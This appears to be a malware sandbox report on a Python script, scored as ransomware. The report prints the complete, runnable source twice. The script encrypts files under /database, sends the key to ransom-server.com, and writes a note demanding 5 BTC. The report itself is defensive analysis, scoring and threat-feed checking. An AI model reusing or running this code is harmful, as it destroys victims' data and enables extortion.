Malwagon
command.py Command Analysis · first seen Sep 22, 2026 03:06 · 1.8 KB
9proc 125files 2IOCs
Malicious100 Linux Completed Public
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command.pySCRIPT analysis report - Malicious

Run integrity

incomplete

The sandbox launched this python script with bash, which cannot execute it. Nothing in this run is evidence about the sample's behaviour.

7.9sto launch
481observed
1agent notes

Malicious

100/100

30 points past the malicious line at 70.

Clean0-34 Suspicious35-69 Malicious70-100

Why this verdict

+85
Static analysis
  • walks a directory tree, encrypts what it finds and disposes of the originals (Fernet (line 11))
  • writes a note telling the victim their files are gone (Seus arquivos foram criptografados! Para recuperá-los, entre em contato comigo. Envie 5 BTC para esta carteira: 1A1zP1e)
  • carries a cryptocurrency wallet address (bitcoin: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa)
  • generates a key and sends it off the machine (generates a key and calls sendall)
  • behaviour score capped at 85
+45
Model review
  • source review: malicious (ransomware) - bulk_encryption, key_exfiltration, file_deletion, ransom_note

Model reading

Measured MALICIOUS100 of 100

Evidence ledger above, row by row. Published verdict rests on this column and on nothing to its right.

Model reads it asscored, capped MALICIOUSone pass

Reads the script's source text. Its opinion can raise the score and can never reach malicious on its own.

One pass, read as malicious. This review predates the three-pass consensus.

Per pass 1 malicious

This is ransomware that encrypts files in /database using Fernet, exfiltrates the decryption key to an attacker server, deletes original files, and displays a ransom demand for 5 BTC. The script has no legitimate functionality and is designed to extort victims.

  • Fernet encryption applied recursively to all files under /database directory via encrypt_folder()
  • Original files deleted from /database after encryption via delete_originals()
  • Ransom note created in REAME.txt demanding 5 BTC to Bitcoin wallet 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
  • All malicious operations launched in background threads to execute concurrently and evade detection
  • Bare except clauses suppress all errors to ensure persistence through failures
bulk_encryptionkey_exfiltrationfile_deletionransom_notecrypto_walletfile_overwritefilesystem_enumeration

Analysis layers

Static ran moved the score
Dynamic failed
Threat intel local feeds only no points
AI not included

Dynamic: The sandbox launched this python script with bash, which cannot execute it. Nothing in this run is evidence about the sample's behaviour.

Sample

TypeScript/command Linux
MIMEtext/x-script.python

Run conditions

Sandbox OSUbuntu 24.04 (Linux sandbox)
InternetIsolated

Detection signatures

1 detected
Severity Detection Evidence Layer
MED
Ransomware-related strings
MITRE T1486
string ransom matched string
static

What the tests returned

9 tests

Each test this run performed and what it returned. A test that was not performed says so rather than reading as a negative result.

TestResult
Persistence mechanismsnone established at runtime
Cross-process injectionnone observed
Payloads written to disknone observed
Network connectionsnot tested - internet was disabled
Behavioural rule matches (Sigma)none observed
Known-malicious hash (reputation sources)no source reported this file
Local anti-virus enginereported no detection
Capability analysis of the file's codenot checked
Anti-analysis / evasion checksnot measured on this run - no in-process API monitor reported in, so the runtime anti-debug and anti-VM calls were never watched

Absence of an observation is not proof of absence - see Coverage for what this run could and could not test.

Arguing against malice

  • The local anti-virus engine reported no detection.
  • No reputation source reported this file as malicious.

How much weight this carries

Observed. Observed at runtime and attributed to this sample by one layer. The one fact that decided it: the sample ran and no malicious behaviour was observed.

Structure

What the file is made of: headers, imports, how it was built and whether it was signed.

Script contents

PYTHON plain

Identified as python from its own syntax, not from the submitted file name. It would run under python3 on linux.

The script is not obfuscated - what the file contains is what runs.

import os
import base64
from cryptography.fernet import Fernet
import socket
import threading
import time
import sys

# Gerar chave única para criptografia
key = Fernet.generate_key()
cipher = Fernet(key)

# Função para criptografar arquivo
def encrypt_file(file_path):
    try:
        with open(file_path, "rb") as f:
            file_data = f.read()
        encrypted_data = cipher.encrypt(file_data)
        with open(file_path, "wb") as f:
            f.write(encrypted_data)
    except:
        pass

# Função para criptografar pasta recursivamente
def encrypt_folder(folder_path):
    for root, dirs, files in os.walk(folder_path):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path)

# Função para enviar chave para servidor de resgate
def send_key_to_ransom_server():
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect(("ransom-server.com", 8080))
            s.sendall(key)
    except:
        pass

# Função para excluir arquivos originais após criptografia
def delete_originals():
    for root, dirs, files in os.walk("/database"):
        for file in files:
            os.remove(os.path.join(root, file))

# Criar mensagem de resgate
def create_ransom_note():
    with open("REAME.txt", "w") as f:
        f.write("Seus arquivos foram criptografados! Para recuperá-los, entre em contato comigo.\n\n"
                "Envie 5 BTC para esta carteira: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\n"
                "Não tente me parar... sou mais rápido que vocês.")

# Ativar ataque em segundo plano
threading.Thread(target=encrypt_folder, args=("/database",)).start()
threading.Thread(target=send_key_to_ransom_server).start()
threading.Thread(target=create_ransom_note).start()
Signature
Unknown
No compiler or packer signature matched this file.
Not packed
Identity
File
typePython script, Unicode text, UTF-8 text executable, with CRLF line terminators
size1.8 KB
entropy4.816

Antivirus engine

no signature matched

Nothing in the signature set below matched this file. That is one engine's negative answer against one signature set on one day, and it is not a verdict. A signature engine only recognises what has already been named and published, so a file nobody has named yet scans exactly like a file that is harmless. What this file does when it runs is the stronger evidence; read the behaviour sections for that.

This run did not record which signature set answered, so the result above cannot be tied to a named set or reproduced against one. Recording the set began part way through this platform's history, and this scan predates it.

Local ML assessment

no model score

This scan ran before the local classifier was installed on this host, so no model score was produced for it. Submitting the same file again produces one.

Structural rules of thumb, not a model. No structural rule of thumb fired either: the entropy, the section layout, the import count and the signature all read as an ordinary build.

Packing
Not packed
This file's code is readable on disk - nothing is compressed or encrypted around it.
0/100
packer confidence
Static analysis reads this file directly Nothing is hiding the code from a static pass, so what the file contains is what the report shows.
Indicators weighed

Packer detection looks at a program's entry point, sections and entropy. This file is not a program image, so there was nothing of that kind to assess.

File content

56 lines · 1.8 KB · Python

The sample verbatim, shown as inert text - nothing here is interpreted by this page. The colours come from a Python lexer that only ever decides a colour.

import os
import base64
from cryptography.fernet import Fernet
import socket
import threading
import time
import sys

# Gerar chave única para criptografia
key = Fernet.generate_key()
cipher = Fernet(key)

# Função para criptografar arquivo
def encrypt_file(file_path):
    try:
        with open(file_path, "rb") as f:
            file_data = f.read()
        encrypted_data = cipher.encrypt(file_data)
        with open(file_path, "wb") as f:
            f.write(encrypted_data)
    except:
        pass

# Função para criptografar pasta recursivamente
def encrypt_folder(folder_path):
    for root, dirs, files in os.walk(folder_path):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path)

# Função para enviar chave para servidor de resgate
def send_key_to_ransom_server():
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect(("ransom-server.com", 8080))
            s.sendall(key)
    except:
        pass

# Função para excluir arquivos originais após criptografia
def delete_originals():
    for root, dirs, files in os.walk("/database"):
        for file in files:
            os.remove(os.path.join(root, file))

# Criar mensagem de resgate
def create_ransom_note():
    with open("REAME.txt", "w") as f:
        f.write("Seus arquivos foram criptografados! Para recuperá-los, entre em contato comigo.\n\n"
                "Envie 5 BTC para esta carteira: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\n"
                "Não tente me parar... sou mais rápido que vocês.")

# Ativar ataque em segundo plano
threading.Thread(target=encrypt_folder, args=("/database",)).start()
threading.Thread(target=send_key_to_ransom_server).start()
threading.Thread(target=create_ransom_note).start()

Secrets & malicious strings

1 flagged string

Flagged string categories

ransomware med 1 hit
IndicatorFound inEvidence from the sample
ransom extracted string def send_key_to_ransom_server():

Python source analysis

Not obfuscated
Dangerous calls (1)
CallCategoryLine
socket.socketnetwork34
Imports
base64cryptography.fernetossocketsysthreadingtime
Network indicators
socket
Source lint (2 findings)
CheckSeverityLineIssue
B110LOW21Try, Except, Pass detected.
B110LOW37Try, Except, Pass detected.

A lint pass over the file's own syntax tree, run locally and without executing anything. It reports insecure constructs, which are not by themselves evidence of malice.

Similar samples

1 related sample

Ranked by fuzzy hash (TLSH distance - lower is closer) and ssdeep similarity, plus an identical import table and functions shared once library code is removed. A near-identical neighbour is usually the same build; a variant is the same family rebuilt or repacked.

RelationSampleVerdictWhy it matched
near-identical teste.py Malicious TLSH distance 2 · ssdeep 99% match

Capability detection

not run on this file

Capability detection reads the machine code of a compiled program and lists what that code is able to do. This submission is not a compiled program, so the check was not run on it and had nothing it could have found. Read this as a question that was not asked here, not as an answer about the file.

Extracted strings

showing 46
  • import os
  • import base64
  • from cryptography.fernet import Fernet
  • import socket
  • import threading
  • import time
  • import sys
  • # Gerar chave
  • nica para criptografia
  • key = Fernet.generate_key()
  • cipher = Fernet(key)
  • o para criptografar arquivo
  • def encrypt_file(file_path):
  • with open(file_path, "rb") as f:
  • file_data = f.read()
  • encrypted_data = cipher.encrypt(file_data)
  • with open(file_path, "wb") as f:
  • f.write(encrypted_data)
  • pass
  • o para criptografar pasta recursivamente
  • def encrypt_folder(folder_path):
  • for root, dirs, files in os.walk(folder_path):
  • for file in files:
  • file_path = os.path.join(root, file)
  • encrypt_file(file_path)
  • o para enviar chave para servidor de resgate
  • def send_key_to_ransom_server():
  • with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  • s.connect(("ransom-server.com", 8080))
  • s.sendall(key)
  • o para excluir arquivos originais ap
  • s criptografia
  • def delete_originals():
  • for root, dirs, files in os.walk("/database"):
  • os.remove(os.path.join(root, file))
  • # Criar mensagem de resgate
  • def create_ransom_note():
  • with open("REAME.txt", "w") as f:
  • f.write("Seus arquivos foram criptografados! Para recuper
  • -los, entre em contato comigo.\n\n"
  • "Envie 5 BTC para esta carteira: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\n"
  • o tente me parar... sou mais r
  • # Ativar ataque em segundo plano
  • threading.Thread(target=encrypt_folder, args=("/database",)).start()
  • threading.Thread(target=send_key_to_ransom_server).start()
  • threading.Thread(target=create_ransom_note).start()

Stack and decoded strings were not recovered: this file format is not eligible for string emulation. Only literal strings present in the file are listed above.

Script behaviour

7 behaviours - 85 of 100 points, capped

Read from the file's own source without running it. Each line below quotes the text in the file that the finding rests on, so you can check it yourself.

What it doesWhat was found in the fileWeight
encrypts file contents Fernet (line 11) SCORED 40
deletes files or directories os.remove (line 44) COUNTED
writes over existing files in place reads and rewrites file_path (mode 'wb') COUNTED
walks a directory tree os.walk (line 26) COUNTED
writes a note demanding payment Seus arquivos foram criptografados! Para recuperá-los, entre em contato comigo. Envie 5 BTC para esta carteira: 1A1zP1e
Seus arquivos foram criptografados! Para recuperá-los, entre em contato comigo.\n\n
SCORED 35
carries a cryptocurrency wallet address bitcoin: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa SCORED 10
sends a generated key or secret off the machine generates a key and calls sendall SCORED 12

The behaviour total is capped at 85 points, so the rows above add to more than the score shows.

VM console

headless guest

The Linux sandbox runs a server image with no desktop, so there is no screen to record - this is the boot console, kept because a kernel panic or an out-of-memory kill would show up here and in no other layer. What the sample did is under Behavior, File & registry and Network, captured from the syscall trace rather than from pixels.

The console itself stayed blank for the whole run - no kernel panic and no out-of-memory kill. That is the expected result on this image.

Behavior summary

9 process(es) observed

Launched/var/tmp/command.ps1
Execution::Native API [T1106]Execution::Command and Scripting Interpreter [T1059]

MITRE ATT&CK

2 techniques
Execution
Native API
T1106
Execution
Command and Scripting Interpreter
T1059

Syscall flow

9 processes · 347 calls in 17 kinds

Each lane is a process the tracer followed. The arrow between two lanes means the first started the second; the arrows to the right mean that process made calls of that kind, and the thicker the arrow the larger the share. Select anything to see what is behind it.

Syscall mix

by count
brk3
mmap14
clone8
wait48
access1
execve1
getcwd1
munmap1
openat125
socket2
connect2
mprotect4
exit_group9
newfstatat51
rt_sigaction57
rt_sigreturn8
rt_sigprocmask52

Persistence & evasion

No persistence or evasion behavior observed.

Command lines, unwrapped

1 read

1 captured text was read and unwrapped locally. No address was recovered from any of them, and none of them was hiding its own contents behind an encoding or a format string. This is a result, not a gap.

Network activity

The network section is a paid-plan layer: the DNS the sample resolved, the connections it opened, the TLS it negotiated, and the rule engine's reading of the capture.

This run was captured, and what it captured is on a paid plan rather than absent. An internet-connected detonation is the same plan, so a paid run also shows what the sample reached rather than only what it tried.

See plans Create an account

Process tree

What ran during the detonation, and what each process did. Select a node to see the activity attributed to it.

9processes
125file operations

command.py

9 processes
9 processes

Attributed activity

0Mechanisms found
20Methods checked
0ATT&CK techniques
NONEHighest severity

Persistence mechanisms

clean

No persistence established

None of the 20 auto-start methods below were established during this run.

Detection coverage

0 / 20

Every auto-start method checked on this sample, grouped by family. A method with no result is reported clean, and one the sample only names in its own strings reads "named" rather than "detected".

Scheduled Jobs & Services (POSIX) 9 clean
  • at(1) Scheduled Job T1053.002 clean
  • Cron Drop-in Directory T1053.003 clean
  • rc.local Boot Script T1037.004 clean
  • System Crontab T1053.003 clean
  • systemd System Unit T1543.002 clean
  • systemd Timer T1053.006 clean
  • systemd User Unit T1543.002 clean
  • SysV Init Script T1037.004 clean
  • User Crontab T1053.003 clean
Shell & Session (POSIX) 5 clean
  • SSH Authorized Keys T1098.004 clean
  • System-wide Shell Startup File T1546.004 clean
  • update-motd Script T1546.004 clean
  • User Shell Startup File T1546.004 clean
  • XDG Desktop Autostart Entry T1547.013 clean
Loader, Accounts & Kernel (POSIX) 6 clean
  • Dynamic Linker Preload T1574.006 clean
  • Kernel Module Autoload T1547.006 clean
  • Linker Search Path Injection T1574.006 clean
  • Local Account Added T1136.001 clean
  • PAM Configuration / Module T1556.003 clean
  • Sudoers Drop-in Rule T1548.003 clean

File activity summary

create 0 write 1 modify 0 delete 0 rename 0

Dropped payload analysis

not observed

This run did not reach the sample, so nothing was watching for payloads. No claim is made here either way: the absence of dropped files is the absence of a measurement, not a finding about the file.

File & registry ops

125 file · 0 registry · sample scope

File operation times: 125 timed

OperationTargetProcess
read
/etc/ld.so.cache
syscall_trace
- pid 681 03:06:49.430045
read
/lib/x86_64-linux-gnu/libtinfo.so.6
syscall_trace
- pid 681 03:06:49.432991
read
/lib/x86_64-linux-gnu/libc.so.6
syscall_trace
- pid 681 03:06:49.436775
write
/dev/tty
syscall_trace
- pid 681 03:06:49.448631
read
/usr/lib/locale/locale-archive
syscall_trace
- pid 681 03:06:49.454396
read
/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
syscall_trace
- pid 681 03:06:49.457047
read
/etc/nsswitch.conf
syscall_trace
- pid 681 03:06:49.484885
read
/etc/passwd
syscall_trace
- pid 681 03:06:49.487874
read
/var/tmp/command.ps1
syscall_trace
- pid 681 03:06:49.499201
read
/usr/share/locale/locale.alias
syscall_trace
- pid 682 03:06:49.518825
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.521479
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.523572
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.525035
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.529673
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.530671
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.535062
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.536383
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.539873
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.542001
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.545050
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.556634
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 682 03:06:49.557413
read
/usr/share/locale/locale.alias
syscall_trace
- pid 683 03:06:49.576500
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.580448
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.581009
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.581575
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.582273
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.582900
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.583493
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.584028
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.584562
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.585300
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.585834
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.586501
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 683 03:06:49.587016
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.603618
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.604201
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.604732
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.605312
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.605842
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.606469
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.607012
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.607546
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.608064
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.608590
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.609336
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 684 03:06:49.609888
read
/usr/share/locale/locale.alias
syscall_trace
- pid 685 03:06:49.625086
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.627943
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.628550
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.629064
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.629578
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.630093
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.630726
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.631304
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.631819
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.632335
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.632842
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.633422
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 685 03:06:49.633930
read
/usr/share/locale/locale.alias
syscall_trace
- pid 686 03:06:49.649654
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.652383
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.652913
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.653481
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.653993
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.654621
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.655312
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.656069
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.656658
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.657193
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.657707
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.658269
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 686 03:06:49.658841
read
/usr/share/locale/locale.alias
syscall_trace
- pid 687 03:06:49.678845
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.681582
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.682246
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.682771
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.683314
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.683827
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.684345
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.684861
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.685486
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.686004
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.686544
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.687353
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 687 03:06:49.687874
read
/usr/share/locale/locale.alias
syscall_trace
- pid 688 03:06:49.705962
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.708654
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.709252
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.709781
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.710314
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.710826
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.711304
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.711818
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.712335
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.712841
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.713352
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.713870
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 688 03:06:49.714515
read
/usr/share/locale/locale.alias
syscall_trace
- pid 689 03:06:49.730257
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.732831
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.733732
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.734324
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.735666
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.736264
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.736784
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.737357
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.737884
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.738427
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.738948
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.739528
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 689 03:06:49.740048
read
/usr/share/locale/locale.alias
syscall_trace
- pid 681 03:06:49.746257
read
/usr/share/locale/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.748431
read
/usr/share/locale/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.748855
read
/usr/share/locale/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.749401
read
/usr/share/locale/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.749803
read
/usr/share/locale/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.750265
read
/usr/share/locale/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.750666
read
/usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.751045
read
/usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.751533
read
/usr/share/locale-langpack/en_US/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.751944
read
/usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.752399
read
/usr/share/locale-langpack/en.utf8/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.752814
read
/usr/share/locale-langpack/en/LC_MESSAGES/bash.mo
syscall_trace
- pid 681 03:06:49.753372

External reputation was not produced for this scan. Threat intelligence enrichment is a paid-plan layer: every extracted indicator - hashes, addresses, hostnames - is checked against the external reputation services. Our own ingested feeds ran on this scan and every result below is theirs. Adding the paid layer adds an external reputation verdict on each indicator, so MalwareBazaar and filescan.io are listed below as not checked. See plans.

18 answered no 4 had nothing to check
0Sources with a hit
18Sources queriedof 22 available
468.7kFeed records
0Could not answer

File reputation

4 clear · 2 not checked
SourceChecksResultDetailFeed
MalwareBazaar hash feed File hash clean not in feed 6,171 records
30 minutes ago
MalwareBazaar ransomware feed File hash clean not in feed 3,348 records
3 hours ago
ThreatFox hash IOCs File hash clean not in feed 1,261 records
30 minutes ago
URLhaus payload hashes File hash clean not in feed 1,398 records
30 minutes ago
filescan.io File hash not checked no hash lookup ran for this scan live lookup
MalwareBazaar File hash not checked no hash lookup ran for this scan live lookup

Hash lookups only - the sample itself is never uploaded to any third party.

Network indicators

8 clear
SourceChecksResultDetailFeed
blocklist.de IP / domain / URL clean 1 observed indicator, none listed 24.2k records
30 minutes ago
CINS Army IP / domain / URL clean 1 observed indicator, none listed 15k records
30 minutes ago
Emerging Threats IP / domain / URL clean 1 observed indicator, none listed 511 records
30 minutes ago
Feodo Tracker IP / domain / URL clean 1 observed indicator, none listed 5 records
30 minutes ago
IPsum IP / domain / URL clean 1 observed indicator, none listed 17.7k records
30 minutes ago
Phishing.Database IP / domain / URL clean 1 observed indicator, none listed 391.5k records
3 hours ago
ThreatFox IP / domain / URL clean 1 observed indicator, none listed 1,261 records
30 minutes ago
URLhaus IP / domain / URL clean 1 observed indicator, none listed 297 records
30 minutes ago

TLS fingerprints

nothing of this kind to check
SourceChecksResultDetailFeed
JA3 / JA4 fingerprint blocklists JA3 / JA4 not checked no TLS client fingerprint observed 97 records
21 hours ago
SSL blocklist Server certificate not checked no server certificate fingerprint is extracted to check live lookup

Detection rules

2 clear
SourceChecksResultDetailFeed
Sigma rules Behavior log clean - 2,275 records
17 hours ago
Signature rules Sample content clean no rule matched 110 records
31 minutes ago

Tooling catalogs

4 clear
SourceChecksResultDetailFeed
LOLBAS Process image paths clean 1 process image path, none masqueraded 245 records
31 minutes ago
LOLBootloaders File hash clean not a known vulnerable bootloader 520 records
30 minutes ago
LOLDrivers File hash clean not a known vulnerable driver 2,346 records
31 minutes ago
LOLRMM Names and domains clean 3 name/domain indicators checked, no remote-management tooling 358 records
30 minutes ago

AI analysis

